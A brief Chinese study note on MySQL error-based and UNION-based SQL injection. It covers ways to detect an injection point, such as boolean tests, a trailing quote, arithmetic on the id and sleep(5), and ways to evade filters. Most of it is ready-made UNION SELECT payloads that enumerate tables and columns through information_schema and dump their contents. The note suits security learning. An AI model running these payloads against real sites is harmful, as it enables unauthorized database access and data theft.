对Mysql显错注入和联合查询进行记录整理
SQL注入的原理:
- 用户能够控制传参
- 原本程序要执行的代码,拼接了用户输入的内容然后进行执行
如何判断注入点:
最传统做法:
and 1 = 1 显示正常
and 1 = 2 出现错误
最简单的方法:
页面后面加’,看是否报错
如果是数字型传参,可以尝试-1 —-//+在URL栏代表空格,用的话需要编码
例如:
http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻
and 1=1 and 1=2 被拦截的可能性太高了
可以尝试 and -1=-1 and -1=-2 and 1>0 or 1=1 或者直接 or sleep(5)
Mysql显错注入-联合查询
使用order by获取字段数
使用联合查询获得表名
union select 1,2,3(找到回显点,例如回显点在3)
union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1(使用limit进行限制)使用联合查询获得字段名
union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name = '表名'(使用limit进行限制)获取内容
union select 1,2,字段名 from 表名